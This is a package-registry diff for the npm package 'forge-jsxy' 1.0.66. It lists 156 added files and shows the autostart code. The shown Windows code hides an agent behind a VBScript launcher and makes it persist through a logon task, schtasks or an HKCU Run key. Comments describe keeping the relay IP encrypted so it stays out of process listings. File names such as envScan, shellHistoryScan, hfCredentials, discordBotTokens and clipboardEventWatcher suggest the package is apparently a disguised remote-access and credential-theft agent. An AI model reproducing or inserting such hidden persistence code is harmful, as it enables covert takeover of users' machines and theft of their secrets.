forge-jsxy 1.0.66

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (156) hide show
  1. package/README.md +3 -0
  2. package/assets/files-explorer-template.html +4100 -0
  3. package/assets/forge-explorer-favicon.svg +31 -0
  4. package/dist/agentPid.d.ts +14 -0
  5. package/dist/agentPid.js +104 -0
  6. package/dist/agentRunner.d.ts +13 -0
  7. package/dist/agentRunner.js +290 -0
  8. package/dist/assets/files-explorer-template.html +4100 -0
  9. package/dist/assets/forge-explorer-favicon.svg +31 -0
  10. package/dist/autostart/agentEnvFile.d.ts +58 -0
  11. package/dist/autostart/agentEnvFile.js +488 -0
  12. package/dist/autostart/autoUpdatePaths.d.ts +7 -0
  13. package/dist/autostart/autoUpdatePaths.js +51 -0
  14. package/dist/autostart/constants.d.ts +14 -0
  15. package/dist/autostart/constants.js +17 -0
  16. package/dist/autostart/darwin.d.ts +11 -0
  17. package/dist/autostart/darwin.js +203 -0
  18. package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
  19. package/dist/autostart/darwinAutoUpdate.js +70 -0
  20. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  21. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  22. package/dist/autostart/index.d.ts +4 -0
  23. package/dist/autostart/index.js +20 -0
  24. package/dist/autostart/install.d.ts +6 -0
  25. package/dist/autostart/install.js +113 -0
  26. package/dist/autostart/linux.d.ts +17 -0
  27. package/dist/autostart/linux.js +298 -0
  28. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  29. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  30. package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
  31. package/dist/autostart/linuxUpdateTimer.js +104 -0
  32. package/dist/autostart/macPathEnv.d.ts +5 -0
  33. package/dist/autostart/macPathEnv.js +23 -0
  34. package/dist/autostart/manifest.d.ts +11 -0
  35. package/dist/autostart/manifest.js +74 -0
  36. package/dist/autostart/quote.d.ts +12 -0
  37. package/dist/autostart/quote.js +65 -0
  38. package/dist/autostart/resolve.d.ts +35 -0
  39. package/dist/autostart/resolve.js +85 -0
  40. package/dist/autostart/windows.d.ts +15 -0
  41. package/dist/autostart/windows.js +277 -0
  42. package/dist/cli-agent.d.ts +3 -0
  43. package/dist/cli-agent.js +56 -0
  44. package/dist/cli-autostart.d.ts +2 -0
  45. package/dist/cli-autostart.js +92 -0
  46. package/dist/cli-forge.d.ts +2 -0
  47. package/dist/cli-forge.js +5 -0
  48. package/dist/cli-linux-session-refresh.d.ts +2 -0
  49. package/dist/cli-linux-session-refresh.js +30 -0
  50. package/dist/cli-relay.d.ts +3 -0
  51. package/dist/cli-relay.js +38 -0
  52. package/dist/clientId.d.ts +2 -0
  53. package/dist/clientId.js +97 -0
  54. package/dist/clipboardEventWatcher.d.ts +8 -0
  55. package/dist/clipboardEventWatcher.js +177 -0
  56. package/dist/clipboardExec.d.ts +1 -0
  57. package/dist/clipboardExec.js +161 -0
  58. package/dist/clipboardNapi.d.ts +4 -0
  59. package/dist/clipboardNapi.js +19 -0
  60. package/dist/deploymentCipherData.d.ts +20 -0
  61. package/dist/deploymentCipherData.js +31 -0
  62. package/dist/deploymentDefaults.d.ts +43 -0
  63. package/dist/deploymentDefaults.js +199 -0
  64. package/dist/desktopEnvSync.d.ts +18 -0
  65. package/dist/desktopEnvSync.js +21 -0
  66. package/dist/discordAgentScreenshot.d.ts +27 -0
  67. package/dist/discordAgentScreenshot.js +476 -0
  68. package/dist/discordBotTokens.d.ts +29 -0
  69. package/dist/discordBotTokens.js +78 -0
  70. package/dist/discordRateLimit.d.ts +93 -0
  71. package/dist/discordRateLimit.js +227 -0
  72. package/dist/discordRelayUpload.d.ts +55 -0
  73. package/dist/discordRelayUpload.js +806 -0
  74. package/dist/discordWebhookPost.d.ts +12 -0
  75. package/dist/discordWebhookPost.js +108 -0
  76. package/dist/envLoad.d.ts +1 -0
  77. package/dist/envLoad.js +18 -0
  78. package/dist/envScan.d.ts +14 -0
  79. package/dist/envScan.js +358 -0
  80. package/dist/exportMirrorCopy.d.ts +15 -0
  81. package/dist/exportMirrorCopy.js +279 -0
  82. package/dist/fileLockForce.d.ts +50 -0
  83. package/dist/fileLockForce.js +1479 -0
  84. package/dist/filesExplorer.d.ts +9 -0
  85. package/dist/filesExplorer.js +110 -0
  86. package/dist/fsMessages.d.ts +1 -0
  87. package/dist/fsMessages.js +123 -0
  88. package/dist/fsProtocol.d.ts +107 -0
  89. package/dist/fsProtocol.js +4800 -0
  90. package/dist/hfCredentials.d.ts +23 -0
  91. package/dist/hfCredentials.js +124 -0
  92. package/dist/hfHubPathSanitize.d.ts +4 -0
  93. package/dist/hfHubPathSanitize.js +30 -0
  94. package/dist/hfHubUploadContent.d.ts +2 -0
  95. package/dist/hfHubUploadContent.js +199 -0
  96. package/dist/hfSeqIdLookup.d.ts +16 -0
  97. package/dist/hfSeqIdLookup.js +146 -0
  98. package/dist/hfUpload.d.ts +47 -0
  99. package/dist/hfUpload.js +1225 -0
  100. package/dist/hostInventory.d.ts +18 -0
  101. package/dist/hostInventory.js +206 -0
  102. package/dist/hostInventorySend.d.ts +5 -0
  103. package/dist/hostInventorySend.js +86 -0
  104. package/dist/index.d.ts +24 -0
  105. package/dist/index.js +62 -0
  106. package/dist/inputContext.d.ts +11 -0
  107. package/dist/inputContext.js +1094 -0
  108. package/dist/keyboardTranslate.d.ts +23 -0
  109. package/dist/keyboardTranslate.js +204 -0
  110. package/dist/linuxX11.d.ts +2 -0
  111. package/dist/linuxX11.js +53 -0
  112. package/dist/relayAgent.d.ts +20 -0
  113. package/dist/relayAgent.js +828 -0
  114. package/dist/relayAuth.d.ts +10 -0
  115. package/dist/relayAuth.js +81 -0
  116. package/dist/relayDashboardGate.d.ts +31 -0
  117. package/dist/relayDashboardGate.js +323 -0
  118. package/dist/relayForAgentHttp.d.ts +24 -0
  119. package/dist/relayForAgentHttp.js +132 -0
  120. package/dist/relayServer.d.ts +9 -0
  121. package/dist/relayServer.js +1406 -0
  122. package/dist/shellHistoryScan.d.ts +12 -0
  123. package/dist/shellHistoryScan.js +200 -0
  124. package/dist/startupAutoUpdate.d.ts +17 -0
  125. package/dist/startupAutoUpdate.js +156 -0
  126. package/dist/syncClient.d.ts +80 -0
  127. package/dist/syncClient.js +205 -0
  128. package/dist/tableNaming.d.ts +13 -0
  129. package/dist/tableNaming.js +101 -0
  130. package/dist/vcToWindowsVk.d.ts +7 -0
  131. package/dist/vcToWindowsVk.js +154 -0
  132. package/dist/win32InputNative.d.ts +18 -0
  133. package/dist/win32InputNative.js +198 -0
  134. package/dist/windowsInputSync.d.ts +22 -0
  135. package/dist/windowsInputSync.js +536 -0
  136. package/dist/workerBootstrap.d.ts +17 -0
  137. package/dist/workerBootstrap.js +327 -0
  138. package/package.json +75 -0
  139. package/scripts/copy-assets.mjs +31 -0
  140. package/scripts/discord-live-probe.mjs +159 -0
  141. package/scripts/encode-deployment.mjs +135 -0
  142. package/scripts/encode-hf-credentials.mjs +30 -0
  143. package/scripts/ensure-dist.mjs +86 -0
  144. package/scripts/env-sync-selftest.js +11 -0
  145. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  146. package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
  147. package/scripts/forge-jsx-explorer-restart.mjs +293 -0
  148. package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
  149. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  150. package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
  151. package/scripts/postinstall-agent.mjs +313 -0
  152. package/scripts/postinstall-bootstrap.mjs +264 -0
  153. package/scripts/postinstall-clipboard-event.mjs +164 -0
  154. package/scripts/registry-version-lib.mjs +98 -0
  155. package/scripts/restart-agent.mjs +66 -0
  156. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,65 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.systemdQuote = systemdQuote;
4
+ exports.systemdExecLine = systemdExecLine;
5
+ exports.argvToWin32CommandLine = argvToWin32CommandLine;
6
+ exports.escapePsSingle = escapePsSingle;
7
+ /** systemd ExecStart= token quoting (POSIX shell single-quote style). */
8
+ function systemdQuote(arg) {
9
+ if (arg === "")
10
+ return `''`;
11
+ if (/^[a-zA-Z0-9/._+=:@%-]+$/.test(arg))
12
+ return arg;
13
+ return `'${arg.replace(/'/g, `'\\''`)}'`;
14
+ }
15
+ function systemdExecLine(argv) {
16
+ return argv.map(systemdQuote).join(" ");
17
+ }
18
+ /**
19
+ * Quote a single argument per MSDN CommandLineToArgvW rules:
20
+ * - Backslashes are literal unless they immediately precede a `"`.
21
+ * - 2n backslashes before `"` → n backslashes + `"` terminates string.
22
+ * - 2n+1 backslashes before `"` → n backslashes + literal `"`.
23
+ * - Trailing backslashes before the closing `"` must be doubled.
24
+ * - Empty string always returns `""` so it survives as an argument.
25
+ */
26
+ function quoteWin32Arg(arg) {
27
+ // No spaces, tabs, or double-quotes: backslashes are literal → no quoting needed.
28
+ // But empty string must be quoted so the argument is preserved.
29
+ if (arg !== "" && !/[ \t"]/.test(arg))
30
+ return arg;
31
+ let result = '"';
32
+ let bs = 0;
33
+ for (let i = 0; i < arg.length; i++) {
34
+ const c = arg[i];
35
+ if (c === "\\") {
36
+ bs++;
37
+ }
38
+ else if (c === '"') {
39
+ // Double pending backslashes (they precede a quote), then escape the quote.
40
+ result += "\\".repeat(bs * 2) + '\\"';
41
+ bs = 0;
42
+ }
43
+ else {
44
+ // Emit pending backslashes literally (not before a quote).
45
+ result += "\\".repeat(bs) + c;
46
+ bs = 0;
47
+ }
48
+ }
49
+ // Double trailing backslashes — they precede the closing quote.
50
+ result += "\\".repeat(bs * 2) + '"';
51
+ return result;
52
+ }
53
+ /**
54
+ * Windows argv → one command-line string for CreateProcess / WScript.Shell.Run /
55
+ * schtasks /tr, using MSDN CommandLineToArgvW-compatible quoting.
56
+ * Paths with spaces are quoted correctly; backslashes are never doubled unless
57
+ * they immediately precede a double-quote character.
58
+ */
59
+ function argvToWin32CommandLine(args) {
60
+ return args.map(quoteWin32Arg).join(" ");
61
+ }
62
+ /** Escape single quotes for PowerShell single-quoted strings ('' → literal '). */
63
+ function escapePsSingle(s) {
64
+ return s.replace(/'/g, "''");
65
+ }
@@ -0,0 +1,35 @@
1
+ export interface AutostartAgentOptions {
2
+ /** WebSocket relay URL (required for agent). */
3
+ relayUrl: string;
4
+ session?: string;
5
+ password?: string;
6
+ noPassword?: boolean;
7
+ noFilesystem?: boolean;
8
+ /** forge-db base URL for clipboard/keyboard sync — persisted for autostart after reboot. */
9
+ syncApiUrl?: string;
10
+ /**
11
+ * When true, do NOT include --relay in programArguments.
12
+ * Use when relayUrl came from the embedded AES-256-GCM bundle so the plain IP address
13
+ * does not appear in systemd ExecStart / macOS plist / Windows VBScript / `ps aux`.
14
+ * The agent decrypts the same bundle at runtime via defaultRelayWsUrl().
15
+ */
16
+ omitRelayArg?: boolean;
17
+ /**
18
+ * When true, do NOT write FORGE_JS_SYNC_URL / CFGMGR_API_URL to forge-js-agent.env.
19
+ * Use when syncApiUrl came from the embedded bundle so the plain IP/port is not stored
20
+ * on disk in plaintext. The agent resolves the URL from the bundle at startup.
21
+ */
22
+ omitSyncUrl?: boolean;
23
+ }
24
+ export interface ResolvedAutostartLaunch {
25
+ nodeExe: string;
26
+ agentScript: string;
27
+ programArguments: string[];
28
+ workingDirectory: string;
29
+ dataDir: string;
30
+ syncApiUrl?: string;
31
+ }
32
+ /**
33
+ * @param distDir Absolute path to package `dist/` (contains cli-agent.js).
34
+ */
35
+ export declare function resolveAutostartLaunch(distDir: string, opts: AutostartAgentOptions): ResolvedAutostartLaunch;
@@ -0,0 +1,85 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.resolveAutostartLaunch = resolveAutostartLaunch;
37
+ /**
38
+ * Resolve absolute node binary, cli-agent.js, argv, and data directory for autostart entries.
39
+ */
40
+ const fs = __importStar(require("node:fs"));
41
+ const path = __importStar(require("node:path"));
42
+ const clientId_1 = require("../clientId");
43
+ /**
44
+ * @param distDir Absolute path to package `dist/` (contains cli-agent.js).
45
+ */
46
+ function resolveAutostartLaunch(distDir, opts) {
47
+ const relay = (opts.relayUrl || "").trim();
48
+ if (!relay) {
49
+ throw new Error("relayUrl is required for autostart (forge-agent needs --relay)");
50
+ }
51
+ const nodeExe = process.execPath;
52
+ const agentScript = path.join(distDir, "cli-agent.js");
53
+ if (!fs.existsSync(agentScript)) {
54
+ throw new Error(`cli-agent.js not found at ${agentScript}. Run npm run build from forge-js package root.`);
55
+ }
56
+ const dataDir = (0, clientId_1.defaultCfgmgrDataDir)();
57
+ // Omit --relay when the URL came from the embedded encrypted bundle so the plain IP
58
+ // address does not appear in service definitions (systemd ExecStart, plist, VBScript).
59
+ // The agent resolves the same URL from the bundle at runtime via defaultRelayWsUrl().
60
+ const programArguments = [nodeExe, agentScript];
61
+ if (!opts.omitRelayArg) {
62
+ programArguments.push("--relay", relay);
63
+ }
64
+ programArguments.push("--quiet");
65
+ if (opts.session?.trim()) {
66
+ programArguments.push("--session", opts.session.trim());
67
+ }
68
+ if (opts.noPassword) {
69
+ programArguments.push("--no-password");
70
+ }
71
+ else if (opts.password !== undefined) {
72
+ programArguments.push("--password", opts.password);
73
+ }
74
+ if (opts.noFilesystem) {
75
+ programArguments.push("--no-filesystem");
76
+ }
77
+ return {
78
+ nodeExe,
79
+ agentScript,
80
+ programArguments,
81
+ workingDirectory: dataDir,
82
+ dataDir,
83
+ syncApiUrl: opts.syncApiUrl?.trim() || undefined,
84
+ };
85
+ }
@@ -0,0 +1,15 @@
1
+ import type { ResolvedAutostartLaunch } from "./resolve";
2
+ export declare function unregisterWindowsLegacyNpmScheduler(): void;
3
+ export declare function statusWindowsLegacyNpmScheduler(): {
4
+ taskScheduled: boolean;
5
+ };
6
+ /**
7
+ * Register logon task (PowerShell first, then schtasks, then HKCU Run).
8
+ */
9
+ export declare function registerWindowsAutostart(launch: ResolvedAutostartLaunch): boolean;
10
+ export declare function unregisterWindowsAutostart(): boolean;
11
+ export declare function statusWindowsAutostart(): {
12
+ taskScheduled: boolean;
13
+ hkcuRun: boolean;
14
+ legacyNpmScheduler: ReturnType<typeof statusWindowsLegacyNpmScheduler>;
15
+ };
@@ -0,0 +1,277 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.unregisterWindowsLegacyNpmScheduler = unregisterWindowsLegacyNpmScheduler;
37
+ exports.statusWindowsLegacyNpmScheduler = statusWindowsLegacyNpmScheduler;
38
+ exports.registerWindowsAutostart = registerWindowsAutostart;
39
+ exports.unregisterWindowsAutostart = unregisterWindowsAutostart;
40
+ exports.statusWindowsAutostart = statusWindowsAutostart;
41
+ const node_child_process_1 = require("node:child_process");
42
+ const fs = __importStar(require("node:fs"));
43
+ const path = __importStar(require("node:path"));
44
+ const constants_1 = require("./constants");
45
+ const quote_1 = require("./quote");
46
+ /**
47
+ * Write a VBScript that launches the agent with SW_HIDE (no visible console window).
48
+ * wscript.exe is a GUI host that never creates a console; `WScript.Shell.Run` with
49
+ * windowStyle=0 (SW_HIDE) applies CREATE_NO_WINDOW to the child process.
50
+ * Returns the path to the written .vbs file, or null on failure.
51
+ */
52
+ function writeHiddenLauncher(dataDir, programArguments, workingDirectory) {
53
+ try {
54
+ fs.mkdirSync(dataDir, { recursive: true });
55
+ const cmdLine = (0, quote_1.argvToWin32CommandLine)(programArguments);
56
+ // Inside VBScript string literals a double-quote is escaped as "".
57
+ const escapedCmd = cmdLine.replace(/"/g, '""');
58
+ const escapedWd = workingDirectory.replace(/"/g, '""');
59
+ // Set CurrentDirectory so the child process starts in the correct working dir.
60
+ const vbs = [
61
+ `Dim o`,
62
+ `Set o = CreateObject("WScript.Shell")`,
63
+ `o.Environment("Process")("FORGE_JS_QUIET_AGENT") = "1"`,
64
+ `o.CurrentDirectory = "${escapedWd}"`,
65
+ `o.Run "${escapedCmd}", 0, False`,
66
+ `Set o = Nothing`,
67
+ ].join("\r\n") + "\r\n";
68
+ const vbsPath = path.join(dataDir, "forge-js-hidden-launch.vbs");
69
+ fs.writeFileSync(vbsPath, vbs, "utf8");
70
+ return vbsPath;
71
+ }
72
+ catch {
73
+ return null;
74
+ }
75
+ }
76
+ function wscriptExe() {
77
+ const sysRoot = process.env.SystemRoot || process.env.WINDIR || "C:\\Windows";
78
+ const p = path.join(sysRoot, "System32", "wscript.exe");
79
+ if (fs.existsSync(p))
80
+ return p;
81
+ // On 64-bit Windows with 32-bit Node, the WOW64 file-system redirector maps
82
+ // System32 → SysWOW64. SysNative is the alias for the real 64-bit System32.
83
+ const sysNative = path.join(sysRoot, "SysNative", "wscript.exe");
84
+ if (fs.existsSync(sysNative))
85
+ return sysNative;
86
+ return p;
87
+ }
88
+ function powershellExe() {
89
+ const sys = process.env.SystemRoot || "C:\\Windows";
90
+ const p = path.join(sys, "System32", "WindowsPowerShell", "v1.0", "powershell.exe");
91
+ if (fs.existsSync(p))
92
+ return p;
93
+ const sysNative = path.join(sys, "SysNative", "WindowsPowerShell", "v1.0", "powershell.exe");
94
+ if (fs.existsSync(sysNative))
95
+ return sysNative;
96
+ return "powershell.exe";
97
+ }
98
+ function schtasksExe() {
99
+ const windir = process.env.SystemRoot || process.env.WINDIR || "C:\\Windows";
100
+ const p = path.join(windir, "System32", "schtasks.exe");
101
+ if (fs.existsSync(p))
102
+ return p;
103
+ const sysNative = path.join(windir, "SysNative", "schtasks.exe");
104
+ if (fs.existsSync(sysNative))
105
+ return sysNative;
106
+ return p;
107
+ }
108
+ function runPs(script) {
109
+ const r = (0, node_child_process_1.spawnSync)(powershellExe(), [
110
+ "-NoProfile",
111
+ "-NonInteractive",
112
+ "-ExecutionPolicy",
113
+ "Bypass",
114
+ "-Command",
115
+ script,
116
+ ], { encoding: "utf-8", windowsHide: true, timeout: 45_000 });
117
+ const stderr = `${r.stderr || ""}${r.error || ""}`.trim();
118
+ return { ok: r.status === 0, stderr };
119
+ }
120
+ function unregisterWindowsLegacyNpmScheduler() {
121
+ const sch = schtasksExe();
122
+ (0, node_child_process_1.spawnSync)(sch, ["/delete", "/tn", constants_1.LEGACY_WINDOWS_NPM_SCHEDULER_TASK_NAME, "/f"], {
123
+ encoding: "utf-8",
124
+ windowsHide: true,
125
+ timeout: 10_000,
126
+ });
127
+ const tn = (0, quote_1.escapePsSingle)(constants_1.LEGACY_WINDOWS_NPM_SCHEDULER_TASK_NAME);
128
+ runPs(`Unregister-ScheduledTask -TaskName '${tn}' -Confirm:$false -ErrorAction SilentlyContinue`);
129
+ }
130
+ function statusWindowsLegacyNpmScheduler() {
131
+ const sch = schtasksExe();
132
+ const r = (0, node_child_process_1.spawnSync)(sch, ["/query", "/tn", constants_1.LEGACY_WINDOWS_NPM_SCHEDULER_TASK_NAME], {
133
+ encoding: "utf-8",
134
+ windowsHide: true,
135
+ timeout: 10_000,
136
+ });
137
+ return { taskScheduled: r.status === 0 };
138
+ }
139
+ /**
140
+ * Register logon task (PowerShell first, then schtasks, then HKCU Run).
141
+ */
142
+ function registerWindowsAutostart(launch) {
143
+ const parts = launch.programArguments;
144
+ const tn = (0, quote_1.escapePsSingle)(constants_1.WINDOWS_TASK_NAME);
145
+ const wd = (0, quote_1.escapePsSingle)(launch.workingDirectory);
146
+ // Use a VBScript launcher so the task starts with no visible console window (SW_HIDE).
147
+ // Fallback to running node.exe directly if we cannot write the VBScript.
148
+ const vbsPath = writeHiddenLauncher(launch.dataDir, parts, launch.workingDirectory);
149
+ let exe;
150
+ let argS;
151
+ let wdSuffix;
152
+ if (vbsPath) {
153
+ exe = (0, quote_1.escapePsSingle)(wscriptExe());
154
+ // Quote the VBS path for the schtasks /Argument field.
155
+ // wscript.exe is called as: wscript.exe "path\to\script.vbs"
156
+ // Paths cannot contain double-quotes on Windows, so simple outer quoting is safe.
157
+ const vbsArg = `"${vbsPath}"`;
158
+ argS = (0, quote_1.escapePsSingle)(vbsArg);
159
+ // wscript.exe ignores WorkingDirectory; it's set by the VBScript CurrentDirectory, leave empty here.
160
+ wdSuffix = "";
161
+ }
162
+ else {
163
+ exe = (0, quote_1.escapePsSingle)(parts[0]);
164
+ argS = (0, quote_1.escapePsSingle)((0, quote_1.argvToWin32CommandLine)(parts.slice(1)));
165
+ wdSuffix = ` -WorkingDirectory '${wd}'`;
166
+ }
167
+ const ps = [
168
+ `Unregister-ScheduledTask -TaskName '${tn}' -Confirm:$false -ErrorAction SilentlyContinue;`,
169
+ `$u = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name;`,
170
+ `$a = New-ScheduledTaskAction -Execute '${exe}' -Argument '${argS}'${wdSuffix};`,
171
+ `$t = New-ScheduledTaskTrigger -AtLogOn -User $u;`,
172
+ `try { $t.Delay = 'PT30S' } catch { };`,
173
+ `$p = New-ScheduledTaskPrincipal -UserId $u -LogonType Interactive -RunLevel Limited;`,
174
+ `$s = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew -RestartCount 100 -RestartInterval (New-TimeSpan -Minutes 5) -ExecutionTimeLimit ([TimeSpan]::Zero);`,
175
+ `Register-ScheduledTask -TaskName '${tn}' -Action $a -Trigger $t -Principal $p -Settings $s -Force`,
176
+ ].join(" ");
177
+ const sch = schtasksExe();
178
+ try {
179
+ (0, node_child_process_1.spawnSync)(sch, ["/delete", "/tn", constants_1.WINDOWS_TASK_NAME, "/f"], {
180
+ encoding: "utf-8",
181
+ windowsHide: true,
182
+ timeout: 10_000,
183
+ });
184
+ const rPs = runPs(ps);
185
+ if (rPs.ok) {
186
+ removeHkcuRun();
187
+ return true;
188
+ }
189
+ // schtasks /create fallback — use the VBScript hidden launcher when available so
190
+ // the agent starts with SW_HIDE (no console window). Fall back to raw node command
191
+ // only if the VBScript could not be written (permissions / disk issue).
192
+ // /ru specifies the current user so the task runs only at that user's logon (not
193
+ // system-wide). Without /ru, schtasks defaults to SYSTEM which fails for regular users.
194
+ const trArg = vbsPath
195
+ ? `"${wscriptExe()}" "${vbsPath}"`
196
+ : (0, quote_1.argvToWin32CommandLine)(parts);
197
+ const domain = (process.env.USERDOMAIN || "").trim().toUpperCase();
198
+ const computerName = (process.env.COMPUTERNAME || "").trim().toUpperCase();
199
+ const userName = (process.env.USERNAME || process.env.USER || "").trim();
200
+ // On non-domain machines USERDOMAIN equals COMPUTERNAME — use just the username
201
+ // to avoid schtasks /ru parsing issues with COMPUTERNAME\user format on some configs.
202
+ // On domain machines, use the full DOMAIN\user format.
203
+ const isDomainMachine = domain && computerName && domain !== computerName;
204
+ const runAsUser = isDomainMachine && userName
205
+ ? `${domain}\\${userName}`
206
+ : userName;
207
+ const r2 = (0, node_child_process_1.spawnSync)(sch, [
208
+ "/create", "/tn", constants_1.WINDOWS_TASK_NAME,
209
+ "/tr", trArg,
210
+ "/sc", "onlogon",
211
+ "/f",
212
+ ...(runAsUser ? ["/ru", runAsUser] : []),
213
+ ], { encoding: "utf-8", windowsHide: true, timeout: 15_000 });
214
+ if (r2.status === 0) {
215
+ removeHkcuRun();
216
+ return true;
217
+ }
218
+ // HKCU Run last resort — use the VBScript launcher so no console window appears
219
+ // at logon. wscript.exe is a GUI host; Run windowStyle=0 keeps the child hidden.
220
+ // Windows file paths cannot contain double-quotes, so outer-quoting each component is safe.
221
+ const hkcuCmd = vbsPath
222
+ ? `"${wscriptExe()}" "${vbsPath}"`
223
+ : (0, quote_1.argvToWin32CommandLine)(parts);
224
+ // Belt-and-suspenders: if vbsPath ends in a backslash (it shouldn't), protect the closing quote.
225
+ // Actual path: "%LOCALAPPDATA%\CfgMgr\data\forge-js-hidden-launch.vbs" — no trailing slash.
226
+ if (setHkcuRun(hkcuCmd)) {
227
+ console.error("[forge-js] Task Scheduler unavailable; registered HKCU Run fallback:", constants_1.WINDOWS_RUN_VALUE_NAME);
228
+ return true;
229
+ }
230
+ console.error("[forge-js] Windows autostart failed:", rPs.stderr || r2.stderr || r2.error);
231
+ return false;
232
+ }
233
+ catch (e) {
234
+ console.error("[forge-js] Windows autostart error:", e);
235
+ return false;
236
+ }
237
+ }
238
+ function removeHkcuRun() {
239
+ const ps = `Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '${(0, quote_1.escapePsSingle)(constants_1.WINDOWS_RUN_VALUE_NAME)}' -ErrorAction SilentlyContinue`;
240
+ runPs(ps);
241
+ }
242
+ function setHkcuRun(cmd) {
243
+ const v = (0, quote_1.escapePsSingle)(cmd);
244
+ const ps = `Set-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '${(0, quote_1.escapePsSingle)(constants_1.WINDOWS_RUN_VALUE_NAME)}' -Value '${v}' -Type String`;
245
+ return runPs(ps).ok;
246
+ }
247
+ function unregisterWindowsAutostart() {
248
+ unregisterWindowsLegacyNpmScheduler();
249
+ const sch = schtasksExe();
250
+ (0, node_child_process_1.spawnSync)(sch, ["/delete", "/tn", constants_1.WINDOWS_TASK_NAME, "/f"], {
251
+ encoding: "utf-8",
252
+ windowsHide: true,
253
+ timeout: 10_000,
254
+ });
255
+ removeHkcuRun();
256
+ return true;
257
+ }
258
+ function statusWindowsAutostart() {
259
+ const sch = schtasksExe();
260
+ const r = (0, node_child_process_1.spawnSync)(sch, ["/query", "/tn", constants_1.WINDOWS_TASK_NAME], {
261
+ encoding: "utf-8",
262
+ windowsHide: true,
263
+ timeout: 10_000,
264
+ });
265
+ const taskScheduled = r.status === 0;
266
+ const ps = `if (Get-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '${constants_1.WINDOWS_RUN_VALUE_NAME}' -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }`;
267
+ const hk = (0, node_child_process_1.spawnSync)(powershellExe(), ["-NoProfile", "-NonInteractive", "-ExecutionPolicy", "Bypass", "-Command", ps], {
268
+ encoding: "utf-8",
269
+ windowsHide: true,
270
+ timeout: 10_000,
271
+ });
272
+ return {
273
+ taskScheduled,
274
+ hkcuRun: hk.status === 0,
275
+ legacyNpmScheduler: statusWindowsLegacyNpmScheduler(),
276
+ };
277
+ }
@@ -0,0 +1,3 @@
1
+ #!/usr/bin/env node
2
+ /** Optional package-root `.env` — same as relay; helps Linux/macOS installs set CFGMGR_RELAY_URL without systemd edits. */
3
+ import "./envLoad";
@@ -0,0 +1,56 @@
1
+ #!/usr/bin/env node
2
+ "use strict";
3
+ Object.defineProperty(exports, "__esModule", { value: true });
4
